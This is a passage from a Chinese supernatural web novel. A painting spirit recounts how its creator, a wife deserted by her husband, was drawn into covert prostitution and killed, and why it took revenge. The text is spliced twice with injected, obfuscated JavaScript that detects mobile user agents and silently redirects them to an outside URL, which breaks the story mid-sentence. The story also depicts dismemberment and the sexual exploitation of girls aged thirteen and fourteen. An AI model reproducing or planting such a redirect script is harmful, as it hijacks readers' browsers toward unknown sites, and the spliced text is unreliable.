等到他再度消失,那尊虚空的神像便又重新矗立起来了。 温如珺不置可否,微微地笑了笑。 “他的世界那么大,情爱不过是微不足道的一粒尘埃,可是对他的妻子而言,这就是她的全部。温娘子,如果是你,你会恨他还是继续爱他呢?” 对于舒玄礼而言,情爱也不过是他生活中极小的一部分,他的世界在朝堂,在官场,在宗族。她不介意在他的世界里,她只占据一隅。 想了想,宋璋道,“无论他变成什么样子,我都会爱他。” 温如珺嘲弄地笑了笑,“女人都是这样吗?只要嫁了那人,便一生成为他的忠仆,忠他的父母,忠他的朋友,唯独不忠于自己。” 不忠于自己?宋璋觉得那倒并非如温如珺所说,她一面遵从世人所言三纲五常,谨守贤妻贤惠本分,将毕生爱意都附丽于丈夫身上,丈夫爱什么她就爱什么,完全出卖自己的灵魂。一面内心深处却又怨恨丈夫不爱自己,只有他爱的,她才能理所应当地去帮他爱,可是他不爱自己,她就爱不得自己。 如此痛苦,却也只能悄悄痛苦。 可是她不一样,爱舒玄礼的一切,她不感到痛苦,相反,她感到愉悦。只要他快乐,他开心,她看着他开心自己也就开心了。 为了能让自己开心,所以得让舒玄礼开心,她想,这应当是忠于自己吧。 宋璋道:“我和你不一样。”他们说的是两回事。 温如珺神情带了些许凄婉,“都是活在梦里的人,有什么不一样?若是可以,即便永远在那个梦里,不醒来也未尝不可。” “为什么不可以呢?” 若真能保证一梦到魂归,即便在梦中又如何? 温如珺叹了口气,“红尘中还有牵挂,浩儿还小,不能没有娘,孤苦无依,叫人欺辱,我怎么舍得。” “这般难过,从前也是这么过来的么?”她问。 “从前比这还蠢笨,日日对着这一幅死物诉说心事,道尽衷肠,也未见得唤得动他出来开解半分。” 她说得哀怨,痛恨,又似乎带着一些难明的爱怜。 她的爱不似作假,尽管跪在灵堂前,隔着沉重的木桌缭绕的香火,她的手里在搓着纸钱,可她的眼却深深看着画中人,似已将他全身细细抚摸。 所以温如珺到底是爱,还是不爱王冕呢? 注视了一会儿,温如珺起身将香炉摆正,又放了些瓜果,然后道,“你要买灯,我带你去吧。” 温如珺取了灵前的一盏灯,引燃那烛火,点燃之前,未忘提醒她,“梦会上瘾的,还要做?” 她是替魏无笙来做说客,查探温如珺杀人的蛛丝马迹,他们和官府中人都被拒之门外,倒是她,温如珺似乎并不排斥。 她知道这灯有古怪,可是身体里的躁动渴望已经冲上心头,占据了她的大脑。 已经两天了,两天没有见过他,没有触碰过他的脸,他的皮肤,那双温柔的眼睛,只一眼便叫她心神颤动…… “要!” 她脱口而出。 灯一亮,那熟悉的气味瞬时缓解了那躁动,她痴迷沉醉,如同回到了母亲怀抱,蜷缩在榻上看着那灯上人影斗转,五色斑斓…… 温如珺倾身,拿过一床被子盖在她身上,轻柔地抚过她的背。 手指微动,几缕幽光从梦中的女子身上抽出,似丝绳一般一圈一圈缠绕在走马灯上,随着它的转动又飘出门外,隐入了灵堂前的那副画像之中。 她的手从背上移到了眼上,抚平了微皱的眉头,轻轻一点,左眼皮便隐隐呈现出淡紫的光芒。 这一次,她用的是最干净、最漂亮的那张皮,骨头也很好,敲起来咚咚地响。足量的烛香,可以免去一些痛苦,尽情地在梦中享受吧…… 魏无笙的眼睛忽然一阵剧痛,他先是捂住眼睛,继而感受到耳后一阵灼烫。 “三郎,怎么了?”李裕和魏无笙在门口一株柳树下百无聊赖地等着。 “有危险。” 忽见魏无笙猛地站起来,一阵轻功飞进了院中。 “你在做什么!” 温如珺正在取宋璋的左眼,她不是人,而是妖孽! 魏无笙和李裕相继赶到了现场,三人打斗起来。宋璋尚未清醒,魏无笙首先打翻了那盏灯,她却仍未清醒。 温如珺趁机挟持了宋璋,一边往灵堂退去。“放我走,否则我就杀了她。” 李裕道,“温娘子,我们不是来找你麻烦的。有话好好说嘛,再说,你杀了她也威胁不了我们什么,她和我们也不熟。” 温如珺恼恨地望着他们,“我与你们无冤无仇,为何对我紧追不舍?” “我们没有追你,我们只是想来给王大哥上柱香,你真的误会了。” 温如珺冷笑着看向李裕身旁沉默的魏无笙,“魏郎君也和宋娘子不相熟么?” 魏无笙淡淡道,“不熟。” 温如珺嗤笑一声,“好啊,既然如此,就让她陪我一起上路吧……” 温如珺眼见要掐死宋璋,魏无笙和李裕对视一眼,一个从她手里抢人,一个要去打她。 三人撕扯起来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“你们走吧。”她软了话语,“她不会有事的,只是要昏睡一会儿。” “温娘子,现在可不是你说走我们就要走的时候。”魏无笙淡淡一笑,“关于你方才做的事,你不想给我一点解释么?” 这不是什么厉害的妖,甚至法术还没他厉害,现在的主控权应当在他们手上,而非是温如珺。 “如你们所见,我不是人。”温如珺道,“不过我真的没有要害宋娘子的意思,我只是想要她眼里的那颗妖丹。” 李裕怪道,“你自己就是妖怪,要别人的妖丹做什么?” 温如珺默了默,便见魏无笙将那画又靠近了灯火。 “我说了你们就会放过我吗?”温如珺急切道。 “我们不是捉妖师。” 魏无笙言下之意,他对她是妖是人没什么兴趣,只要她能给他一个合理的解释,他也不会揪着她不放。 温如珺看着魏无笙将那画重新卷好,放在了一旁的桌上,这才叹了一口气,拿来匣子将它放好。 “我的确有妖丹,可我刚修成人形五年,它只能够助我维护人形。” “五年?”李裕奇怪道,“浩儿都十岁了,你怎么才成人形五年?” “是啊,浩儿都十岁了,还记得那是她刚刚怀孕的时候……” 她的脸比我现在要漂亮得多,一头乌黑的鬓发盘成大片的云朵,垂在耳际,鹅蛋脸,又长又浓的眉毛,杏仁眼,笑起来如水一般清澈明亮。 其实那时我只能听见她的笑声,她和王冕新婚燕尔,丈夫坐在亭前的柳树边,她用笔一边指挥着他不要乱动,一边挽起湖蓝水袖,点染笔墨。 阳光、柳树、湖水的味道,伴随着她袖侧的馨香,永远地留在了我心上。 她对着那个男人,一笔一笔,创造出了我。 43. 暗娼 她的姑母等一干亲戚来找她。 “当初说好了半月就还,现在过去两个月了,也不见珺娘你夫妇上门。” “不是我们催你,家里一家老小也不富裕,张着口等吃呢。” 她坐在床边撼着手边小摇床,男男女女围在她面前,像是误入狼圈的羊。 “姑母,不是我有意拖欠,家里的钱都在郎君手里,他去陈丰做生意,书信不便,我也鞭长莫及。” “书信不便?”姑母惊疑,“别是跑了吧?” 男人瞬时变了脸,“那我可不管,你们夫妇欠的钱,不能不还,亲兄弟明算账,你要不给钱我可要告到官府去!” 他尖利的声音惊醒了梦中的孩童,他大哭起来,伸手找母亲寻求安慰。 她一边抚着孩子的背,一边道,“陈丰与安平相距遥远,只是暂时不通书信罢了。诸位放心,我和浩儿都在这里,他怎么可能不管我们呢?” 母子相依,说得真切,众人暂时偃旗息鼓。 “看在亲戚面上,我们也只得信你,那我们就再等等,等下个月王冕回来,你可一定要把钱还我们。” 酒阑人散,满桌的残羹冷炙,满地瓜果纸皮,她刚拿了扫把,浩儿哭了起来。 她将米糊热了放凉,喂他喝完,洗了条手帕,重又拿起扫把将胶粘的骨头满地花生屑扫净。昏头昏脑扫完,坐到了桌前。 瘪黄水油的几根白菜搁浅在碗边,几粒花生米,盐和着盐黏在一块儿,一尾鱼骨已结成了冻。 她将碟子拿起,侧过碗边,却又顿住了。还是将这些盘盘碟碟扔在后院。 家里的钱全都被丈夫带走,所剩下的碎银散钱也最多只能支撑一个月,这还是精打细算。今天花了这么多钱,接下来又得过上一阵苦日子。 她叹了口气,重新下了一碗面,放了两颗洗净的白菜,一点芝麻油,两勺酱油。 草草对付完,她开始给王冕写信。走之前她便和他说好,有什么事都尽管推在她身上,他只作不回,她便作不知。 娘家毕竟是她的亲戚,不好对她太过强逼,可是王冕却不一定,所以他只能走远,她假作不知。 起初是假的,可后来成了真的。 不知是她的那封催促他还家支钱的信惹怒了他还是他在陈丰出了什么事,总之真的音信全无,真的一去不返。 “今天姑母他们来找我,搬走了家里所有值钱的东西,成婚那年你买的梳妆镜,黄花梨的桌椅……现在连一处坐的地方都没有了。” 她站在房中看着对面挂在墙上的我,透过我,她皱着眉头无助又凄惶地看着王冕。 “你何时才会回来啊?” 现在连能典当的东西也没有了,她饿了一天,打开钱匣,用最后十文钱买了一个鸡腿,一把菜,一个鸡蛋,吃了一碗面,鸡腿给了浩儿。 无论是在出嫁前还是出嫁后,还从来没有如此窘迫过。她可以对付着吃些粗粮杂食,可浩儿还小,正需要营养,何况过了今日连粗粮也吃不上了。 她得养活自己。她看了看自己的一双手,可是她什么也没做过啊,最多不过是照顾孩子,为王冕洗衣做饭。她肩不能提现手不能扛,能做什么养活自己呢? 我见她是春天梨花初开的时候。 王冕离开后,她无以为生,所以接了浆洗衣物的活计。梨花、桃花、玉兰竞相开放,又渐次凋谢,花到荼蘼,紫藤萝的香气和蓊郁的草木香气便透过窗子飘进了房中。 闷热得几乎要灼烧我的夏天,清凉的井水和皂角的香气充盈在我身上。她挽起袖子,银镯子褪至小臂,浩儿跌跌撞撞地朝她扑过来,水珠溅在我身上。 继而,带着指腹温度的手帕落了下来,轻柔地抚摸。 她的手是我见过最美的手,青筋隐现,指骨分明,握笔处生出薄薄的茧肉,是她作画时候灵心的印迹。 秋去冬来,这双充满灵气的手却渐渐粗糙,红肿,硬实,虎口因磋磨开裂,五指生满冻疮,圆润的指甲也脆弱得一折就断。劣质的油脂抹在手上,堵住了伤口流出的脓液,由于白色转为青黄。 捶打衣裳的声音不再热烈欢快,而带着沉沉的暮气。浩儿趁着黄昏,背着书袋从外面走进来。 “娘,你的手流血了!” 他心疼地看着她,“娘,你别洗了,浩儿帮你。” 浩儿想要接过她手里的衣物,珺娘却推开他,“娘不疼,贴个膏药就好,先生给你布置功课了吧,你快去做自己的事。” “我不去学堂了,我帮娘一块儿洗衣服。” 浩儿才四岁,就已经早早通晓了成人世界的道理,懂得了母亲的艰辛和付出。可是珺娘却很生气,“不行!娘做这一切都是为了你,你要像你爹一样,考功名,做大官,将来再让娘沾你的光,过段好日子。” “我才不要像他,他抛弃了我们俩,他有什么好的!” 珺娘心中酸楚,“他不是抛弃我们,而是有更重要的事去做。” “什么事?他们都说他抛弃了我们,他欠了好多钱,所以一个人跑了。” “浩儿,夫子有没有教过你,为人之本,仁义为先。你爹不是跑了,他是为了救一个对他有救命之恩举荐之恩的伯伯,所以去了另一个地方,他是去救人了。等救出了那位伯伯,他就会回来了。” 珺娘替儿子擦去泪水,自己的眼泪却止不住地掉。 她不想让浩儿痛恨自己的父亲,尽管她自己也在心中埋怨。夜半无人处,她用那种怨恨的眼神望着我,可是又什么都不说。 我想她是恨的,可是我分明又吸收到了她灵魂中溢出的情,思念、依赖、渴慕……成百上千个夜晚,我一边听着她啜泣,一边饱食餍睡,我的身体渐渐长大,我感到充沛的灵力,也有了更大的感官范围。 即使她不在我面前,在这个家里,我也能感受到她的情绪,听到她的声音…… 她在哭,从未有过的心痛,像是要炸开了一样,有千万只蚂蚁在啃噬她的心,她的双腿像灌满了铅般沉重。 手中的孩子很安静,皱着眉头,小脸通红,在这个漫天风雪的午后,是她唯一温暖的来源,也即将失去…… 没有人愿意救浩儿,家人反目,亲友决裂,她可怜的浩儿生着病,无钱医治,无人过问。 她只能用瘦弱的手臂权作遮挡,连用一块厚实的皮衣将他笼在怀里也不得。 天空灰蒙蒙的,她放弃了敲打医馆的大门,走在暗沉沉的逼仄小巷中,一步两步…… 她数着步子,眼巴巴望着前面的路,一拐又一拐,一堵又一堵。每一次拐过一个巷口,她都希望那个熟悉的高大的身影出现在她面前,哪怕衣衫褴褛,哪怕断腿断手,血肉模糊,只要他来了,她就等到了她的救星,她此生的倚靠。 黑色的睫毛挂满了冰霜,她的脚底踩在坚硬的雪上,却诡异地发热,邪火直冲心头,她没有等来他,蓦地倒下了。 “所以你要杀了王冕,为她报仇?可是你和旅店老板勾结,间接杀了那么多人,他们难道就不无辜?”李裕觉得,这不过是妖孽嗜血的借口。 “不,不是间接。我亲手,砍断他们的脖子,手脚,割去耳朵,心肺,把他们一块一块剁成肉酱。” 眼前女子的脸上露出了癫狂的笑容,一提起此事,似乎便有了无限欢愉,浑身颤抖。 她梦见自己睡在女娲宫殿中柔软厚实的一片云上,淙淙的春水携着暖意环绕在自己身边,琼浆潺潺流动,发出鲜甜的香味。 她睁开眼,便见自己置身牙床锦被之中。久违的檀木香幽幽钻入帐内。 “小娘子醒了?阿弥陀佛,陈大夫说的不错,一副药下去果然管用。” 一个四十上下的妇人头戴珍珠簪,身着暗黄衣裙,拎着食盒走了过来。 帘帐拉开,她这才反应过来,一把扯住妇人的衣袖,“你是谁?我儿子呢?” 妇人倒也不见怪,将食盒放在桌上,扶她下床,她冷静过来这才发现浩儿正由一个女使抱在怀里,睡得正香。 她探了探他额头,热已经退了,这幼儿面上残留的嫣红不过是房中炉火太旺的缘故。 妇人一边打开食盒,一边将香油鸡蛋羹、萝卜烧肉,鸡油拌茄子等精致小菜一一摆在她面前,一边解释道,“我回来时发现娘子倒在我家门口,怕出事不好分说,又有个小郎君发着高烧,因而将你们带了回家,大夫开了药送小郎君服下,只需再歇息两日便可痊愈了。” 似乎是见她衣衫单薄,又暗暗在身上摸寻钱袋,那妇人一把牵过她的手要她坐下,笑道,“小娘子不必多礼,我家女儿与你一般大,早年丧父,自幼天疾,想是上辈子作孽太多,所以该常做善事,积福积德。娘子到我门前,正是我的缘解,不必谈银钱俗物,反伤了福德。” 妇人递了台阶,她也的确是囊中羞涩,便含含糊糊应下,陪着妇人一边说话一边吃饭。 妇人听了她今日原委,更觉颇为投契。 “娘子高义,却也命苦,好在还有个小儿在身边陪伴。” “夫人不是也有个女儿么?” 余夫人闻言道,“是有个女儿,亡夫也颇留了些钱财为我母女傍身,只是她天生不会说话,妇道人家自立门户,终归为人轻视。我便想为她寻个夫婿,招赘也好,嫁出去也罢,总归好过在我身边蹉跎着,争耐她长得不好,个头儿又矮,给不会说话,这几年过去,姑娘大了,更不好找了。” “夫人生得貌美,可见当年风姿,小姐自然也不差的。” 余夫人笑着摆手,“她不像我,猴儿似的,没有娘子你的十分之一,脾气也不好,娇纵坏了。” 正说着,就听外面传来什么东西碎裂的声音,声音很大,她闻言和余夫人一同往外面走去,拐进一间装饰华美的房间。便见满地碎瓷,一个小厮似乎被推倒在地,瓷片嵌进了膝盖,手上也流着血。 而站在他对面的姑娘,一身粉蝶裙,梳着弯月髻插一朵玉兰绢花,双眼通红,怒气瞪瞪地看着那小厮。 余夫人语气中带了些许不耐,“又闹什么呢?不知道有客人在吗?” 小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15245617|162913||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 厮道,“小姐嫌饭菜不合口味,正闹脾气呢,小人也没法。” 余夫人不悦地瞪了他一眼,“把东西收拾好,下去吧。” 她一面走到那位小姐面前,一面满怀爱怜地将她鬓发拨回耳后,“这就是我女儿了,往常伺候她的女使被家人赎回,我正愁没有个贴心聪明的人儿陪伴,我与娘子有缘,若娘子不嫌弃,不如就留在这里。也不难,只是洒扫院落,做好一日三餐,你和小郎君都在这里吃,吃住都不妨事。” 她回来的时候少了,笑脸也多了起来,一切似乎又回到了从前。一份微薄的薪水,能吃饱穿暖,浩儿也能够继续读书,一天天健康地长大,这一切已经够了。只是有时候,她依然会对着我默默落泪,我知道透过我的脸,她在想那个人。 她把丈夫当做她的天,犹如信徒对神明那样,全然地信任,全然地依赖。遇到艰难,惨痛的遭遇,她心中将她的神的名字念了千百遍,可他从未现身,唯有她一人面对无间地狱,披甲上阵,最后横尸荒野,却还痴痴地以为是自己做的不够。 我不明白!那个男人到底有什么好? 李裕看着眼前神情狰狞的女子,有些错愕,这女人对温如珺...怎么怪怪的。她对她,到底是什么样一种情感? “再怎么说这也是人家的家务事,你一个外人,非我族类,你知道什么?” “她是我最珍视的人!她创造了我,我依附她而生,我们心魂相联,没有人比我更了解她!你知道她有多痛苦吗?这一切都是王冕造成的,他以为躲得远远的就可以逃避这一切吗?是他害死了珺娘,他和那些畜生都得为她偿命!” 那天已经很晚了,珺娘还没有回家,我等了她很久,心口一阵一阵地疼,疼得要撕裂开,恨不得一把火烧了我自己,我知道她出事了,可是我的灵力还不够,我只能在冰冷的墙上看着,看着天色从黑到白,又从白到黑,整整三天过去。我感觉自己的生命即将消亡,浑身疼痛,就在我即将消失的时候,她终于回来了。 她一瘸一拐地走进来,脸上强装笑容,带着大包小包的吃食,给浩儿做了一碗面,然后哄他睡去。她关上门,一瞬间,仿佛脱去了全身的力气,瘫软在地上,她将头埋在臂弯里,我听见她在哭,哭得喘不上气来。 “珺娘,你怎么了?珺娘?” 我焦急地看着她,可是她听不见我的话,良久,她擦干了眼泪,倒了一盆热水,将衣服脱下,躺了进去。乌黑的瞳仁怔怔地注视着水面,清澈的水下是青紫交加的皮肤,长发一根一根,一丝一丝,荡漾着爬满她的手臂、细长的脖颈,密密麻麻,像千万只蜘蛛爬在她身上,将她死死缠绕在欲望的恶水中。 水腻,花腥,捣衣,汁液......血红的双眼,在黑暗中窥视,哪里都躲不掉,哪里都被他们纠缠...... 咳咳咳咳....... 她睁着血红的眼睛,水面已经不见了人影,只看见水花不断从桶内溅出。 “珺娘,你在干什么?不要!有什么事我会帮你的,不要做傻事!” 似乎听到了我的话,哗啦一声,她猛地从水底浮了出来,她看着我,水汽伴着冷意,让我打了个寒战,她在看我,还是看他? 她忽然笑了起来,笑得悲凉。 “王冕,你好狠的心,一去不回这许多年,留下我们孤儿寡母,你到底在哪儿啊?” 她作势捶打起来,像个疯子一样,打得双手通红,双泪涕下。 我知道她被人骗了,有一个妇人常常进出她的宅院,还有一个四指的男人,眼神凶厉,她们嘴上对她笑着,心里却不怀好意。 “我就知道娘子菩萨心肠,人又聪明又漂亮,断断不似那些蠢笨妇人。娘子如今听了我的话,把几位官人陪好了,钱钞俗物,那还不是勾勾手指就来了。” 她一面将几只匣子放在桌上,拿出金钗手镯之类,一面又拿出给孩童买的些许玩意儿,拉着珺娘的手摩挲着,“娘子这样天仙般的人物,怎好独身受这许多矬磨,瞧瞧这双手,就不是吃苦的命,该是有享不尽的荣华才是。” 珺娘没有说话,只是冷脸抽出了手,那妇人见状变了脸色,转过头狠狠剜了那小厮一眼,那人便立即跪了下来。 “都是小人一时酒醉糊涂,冒犯了娘子,小人该死,小人该死!” 他一边说,一边拍着自己的巴掌,不一会儿便双脸肿胀,嘴角破了一块,他求助地看向妇人,那妇人又笑着拿出一叠银票,“这是乔郎君托我给娘子的,叫娘子置办些首饰,里面也有我的一份。” 珺娘仍旧不说话,她也不恼怒,只是将东西放下,而后带着小厮出去,“娘子既然不舒服,便好好休息,我明日再来接娘子过去。” “我就说哪来平白无故的好事儿,原来是暗娼头子,那温娘子定然是被骗去贼窝了,所以她上吊自缢了?”李裕想,女子失了贞洁,遭此大变,这温如珺定然成了吊死鬼,所以这画灵要杀了害死她的人。 “不,珺娘不会因这点小事了结自己的性命。她是被她们杀死的。” 44. 第 44 章 余宝荣正在外院坐着发呆,大门打开,小厮谄媚的声音便传了来,金山一面接了吴岭的酒,一面道,“您今儿怎么有空来,快里面坐。” 余宝荣闻言立刻起身拍了拍衣服,跑到他面前眼中含泪地望向他,余宝荣是个哑巴,但胜在青春貌美,她第一次十四岁就是他买下的,跟他最久,可惜……已经不再年轻了。 他拉开了她的手,“今日有事,明日再去看你。” 余宝荣又再次拉住他,就那样看着,眼中有哀求。 吴岭有些不耐,小厮立即拉开了她,“您不是要做新衣裳吗,上次要的新料子一会儿就有人送上门来。我带您过去。” 余宝荣被强行拉到了一边,吴岭抬脚便去了温如珺的院子。 温如珺正在给浩儿绣鞋子,大门敞开着,和煦的春风金色的太阳洒在年轻的女人身上,肌肤上的绒毛清晰可见。真美啊! 吴岭想,年轻的女子永远是那么美,不管长相如何,性情如何,都有一种天然的灵动。这种灵动是他们最为珍贵的东西,就像池塘里的鱼,不经意间就悄悄溜走,只剩一池皱了的水。 余宝荣虽然没有温如珺好看,但是她在这个年纪的时候更灵动,那还是她十三岁的时候,人还没有张开,透着一股子稚气。只是现在...不行了。 他在温如珺面前坐下,瞥了一眼她绣的东西,是一只竹叶帕,颇为精巧,又不俗艳。他赞道:“温娘这绣工,放眼整个安平,怕是也没有对手了。瞧瞧这竹,刚劲清直都被你绣出来了。” “不过是照着颂安法师的墨竹图描了个好样子罢了。”温如珺淡淡说着,没有抬眼看他。 吴岭却似乎并不见怪,反而有些惊喜,“你还会作画?” “闺中女子闲来无事,便作涂鸦,雕虫小技罢了。” “何止雕虫小技?”他忽而将手覆在帕上,隔着帕子细细抚摸着温如珺的手,“这配色、阵脚......”他将另一只手抚上了她的脸,“柔滑如缎,明亮如月。” 温如珺猛地站起身,似有些嫌弃。 若是往常遇见这种不识趣的清高女子,哪怕再美,他也不会给她好脸色,可是今日却不同。 见温如珺不愿,吴岭也只是收回了手,将那方帕子塞进了袖中,一面微笑:“温娘何必如此,我家夫人前日去世不久,幼子丧母无依,我心中难过,才来了这里,只为饮酒遣怀,并不是要对你做什么。” 他从袖中拿出了一个匣子,一件珍珠衫在日光下闪闪发亮。连富贵过的温如珺也不得不为之惊叹,这不是普通的珍珠衫,衫子用金线串成,每一粒珍珠都有拇指大小,光洁莹润,没有一丝瑕疵。更别说这衫子的细密,少说也要八千颗珠子。听说这位吴公子不过是寻常的古董商人,竟有如此财力。 温如珺微微挑起眉头看着他,“吴公子这是何意?” “我对娘子存的不是一夜露水的情意,而是长久夫妻的打算。这就算是给娘子的见面礼,也算是聘礼。” “聘礼?吴公子要娶我这样一个身份卑贱之人?” “娘子本是天上月,不过因小人偶堕凡尘,能在此地遇见娘子实是我的幸事。也不瞒娘子,你和亡妻颇为相似,身家又清白,孩子们日夜思念母亲,我也需要一位知冷知热的夫人。” 温如珺正要说什么,又听吴岭道:“娘子先别急着拒绝,后日我府中开宴,届时请娘子过去,看察宅院和孩子们,再做决定也不迟。” “可是......” 吴岭忽然起身,放了一块银子便转身离开了院子。“娘子仔细思量,后日我叫人来接你。” 余夫人对外宣称她是家世落魄被拐子卖来的闺阁女子,以博男子们怜惜。对于这种私人宅邸的暗娼,为提高身价,卖一个好价钱,无不是营造一个如何如何高贵悲惨的背景,上到皇室宗女,下到县令员外小女,鸨母们夸口扯谎,嫖客也假作不知。她以为这已是众人都不信的公开的秘密,这位吴公子看着也是花中老手,竟似乎当了真,以为她还是那高门处女...... 吴岭正要走出去,忽然又见余宝荣的身影纠缠上来,“宝荣,你还没走啊?” 宝荣拉了拉他的手,往她院子的方向看去。 “你有事找我?” 宝荣点点头,吴岭道:“有什么事现在就说吧。”他从怀里拿出银子给了她,“想要什么就叫人去买,我一会儿还有事。” 宝荣啊啊了几声,吴岭已经懒得去猜测她要说什么,忽而宝荣抓住了他的手,放在了自己肚子上。 吴岭先是震惊,继而神色复杂,眉头紧皱地看向她。 “你说你怀孕了?” 宝荣点点头。 吴岭皱眉,“谁的孩子?” 宝荣抬头看向他,眼中盈满了委屈的泪水。 不言自明,吴岭有些不耐,“你和我说又有什么用呢?你要说从此你不能再陪我了?” 宝荣摇摇头,用手指了指他:她不想再待在这里了,她想去他那里,为通房为妾室,她都愿意。 吴岭见状立刻冷哼了一声,似乎还带着些许嘲弄,“宝荣,你不适合在宅院生活,那里的生活无趣,还不如在这里。我会常常来看你。” 宝荣近乎是哀求,看着自己的肚子: 她可以在这里,那孩子怎么办呢?孩子以后要如何堂堂正正地生活? 吴岭道,“我会给你一笔钱,生下他还是不要他,都随你。” 吴岭就这样离开了,宝荣摸着肚子,怔怔地看着他离去的背影,她听到了他对温如珺说的话。他有了新的目标,和这肮脏之地一样,他们有了新的财神,吸干了她的血,所以将她毫不留情地抛弃。像蛆虫一样涌向那个女人。 柔软的东西压上了她的床榻,摸索着,温如珺猛然睁开眼,正要大声呼喊,便见宝荣举着油灯照亮了自己的面孔。 “是你?”她有些戒备地看着她,一面往床下走去寻找一些防身的东西,“你来做什么?” 宝荣牵起了她的手,在她掌心写道: 不要去吴岭府上。 温如珺道,“为什么?” 有危险。 温如珺看了她一眼,“你是怕我抢走了你的主顾吧。” 宝荣的脸上似乎露出了焦急的神情:真的有危险!你不能去。 “那你说,到底有什么危险?” 宝荣却又没说什么了,只是一个劲地对她摇头。 温如珺懒得再搭理这个哑巴,倒了一碗茶水坐在桌前喝茶,“你回去吧,已经很晚了。” 宝荣没走,一直盯着她喝完那杯茶。她的目光让她觉得有些怪异,渐渐,温如珺觉得自己手上有些痒,拉开衣服,手臂上满是可怖的斑点。脸上也开始泛红。 她看向宝荣,抓住了她,“你在水里下东西?我去告诉余夫人。” 宝荣拿起筷子,沾了水,在桌上写道:带我去。 她的意思很明显,带她去,才给解药。而她明目张胆,显然还留有后手。这个女人,似乎并不简单,不过她也无意和她争锋,去赴吴岭的宴会,不过是为了今日他留下的那笔钱。 浩儿的学费马上又要交了,纸笔书本,还要给他做一床新被子,几身洗衣服…… “我可以带你去。” 她并不相信吴岭说的那些话,这人家私深厚,为人老道,必定惯经风月,怎会如此草率地决定妻子人选。怕是要她去陪客喝酒,帮忙招待。 其实温如珺心里也有些不安,她昨晚没睡好,总觉得会有什么事发生。 然而她幻想的那些事都没有发生,当真只是像吴岭所说,他带她看了园子,然后吃饭喝酒。 一杯又一杯地灌下去,她渐渐有些疲惫,吴岭命下人带她去了一间厢房休息。睡得正迷糊,因噩梦惊醒,她梦见浩儿在梦中大哭,要她回家。 她撩起帘帐,走到门前却发现大门被锁住了。 砰砰砰—— “有人吗?” 她喊了几声,没人回应,心中越发不安。 肩上忽然搭上了一只手,她心中猛地一跳,在看到来人时也并没松了气。 宝荣打扮成丫鬟模样,乔装一番,混在她身边,她只以为她是要借机和吴岭见面私会,然而她竟一直跟在她身边,始终低头不语。联想到她对她说的那番话,她问: “你说有危险,到底是什么?” 宝荣看了一眼她,走到了一个梳妆台前,将它缓缓挪开,搬起了覆在上面的地砖。一个狭长的口子显现在眼前,宝荣指了指下面。 是一条密道,顺着梯子可以爬下去,从上面看下去漆黑一片。她蹲下往里看的时候紧紧抓着宝荣的手,十分谨慎。 宝荣却先自己爬了下去,拿了一盏油灯,在深黑的下道看着她。 她全身已经没入漆黑之中,唯独一双映着油灯的昏黄明亮的眼睛注视着,似乎有某种极度的渴望。她在渴望什么? 她被她热切的欲望所惊到,转身要走。 那一声沙哑破碎的声音让她浑身一颤,只觉毛发耸立,它从幽远的深处传来,穿过长长的石壁,像一支浑身带刺的荆棘强硬地挤过这黑暗狭窄的隧道,伤痕累累地到达她面前一把勾住了她的心,要带着她往下,深入那隐秘的过往。 “如果你要找他,那么今天你必死无疑。” 宝荣会说话!尽管这话颇为生涩,一张秀气的脸庞却发出这样破碎的声音,她又惊又惧。 似乎预料到她的惊惧,她一边走一边道:“多亏这样,我才能活下去。” 她一面用油灯照了照她的脸,“你和我姐姐长得很像。” “你还有姐姐?” “我是她捡回来的,起初不过是服侍她的丫鬟,可到了这里,谁又能完好无损地走出去?” 宝荣的笑声很尖利,像乌鸦的叫声一样。 当初她的声音也很美,姐姐说她哼着小调的时候很像吴岭送给她的画眉鸟,甚至比它的声音还要好听。我不知道姐姐是余夫人经手的第几个女孩,也不知道她是吴岭的第几个相好,总之她们每个人都认为自己是第一个,也是唯一一个他的挚爱。 “我和她们不一样,我从不这样想。”温如珺道,吴岭的花言巧语,她并不相信。一支并蒂莲,焉能再贰开?夫妻最真情,莫过少年时。一个丧妻□□的男人,无论嘴里说的再好听,最好一个字都不要信。 “我知道你很聪明,只是我还是害怕,我太害怕你成为下一个姐姐,哪怕一丝一毫的机会,我都要阻止这一切。” “你姐姐...现在在哪儿?” “不知道。” 她们开始往前面有光亮的地方走,阴暗潮湿的地道,地砖凹凸不平,鞋底似乎经常踩到碎石。 宝荣走到转角,忽然停了停,她低头看去,光晕所见之处,是几块白骨。 她心中大骇,“她......” “不是她,应该不是,我也不知道。死的人太多了......” 虽然吴岭只是用一顶小轿安安静静地将她抬回了家里,但她还是很开心,她给自己绣了盖头,画好了新娘子的妆。她说她这辈子命不好,托生到爹娘都是赌鬼的家,卖来了这里抵债。可是幸运的是遇到了吴岭,她的第一个客人就是他,他怜惜她身世可怜,莲出污泥,所以从那以后他就一直成为她唯一的客人,直到今日,也没有动过她一分一毫。 他来总是只是和她聊聊生意场上的烦闷,她抚琴,他饮酒,醉了便在美人塌上躺一晚。即便她让他去床上,他也从不逾矩。 “我以为至多不过赎我出去,可是我没想到他竟然愿意娶我。”女人坐在鲜红的轿子里,对轿旁乔装作车夫的小宝荣一边说,一边落泪。 余夫人本不让我出去,我混在抬轿的人群里偷偷跟着姐姐进了吴家,陪她在新房里说话。 “姐姐,那我能跟着你吗?我也不想在夫人那里待着了,你走了,她会让我去伺候白鹭的,她脾气又臭人又丑。” “好啊,等过几日我和吴郎说一说,他从未见过你,若是见了,必定欢喜。” “他欢喜什么?我只想继续伺候姐姐,他把姐姐从我身边抢走,我才不喜欢他!” 门外传来一群人说话的声音,嘈嘈杂杂,他们想是闹洞房的人来了,我匆匆钻进了衣柜里。 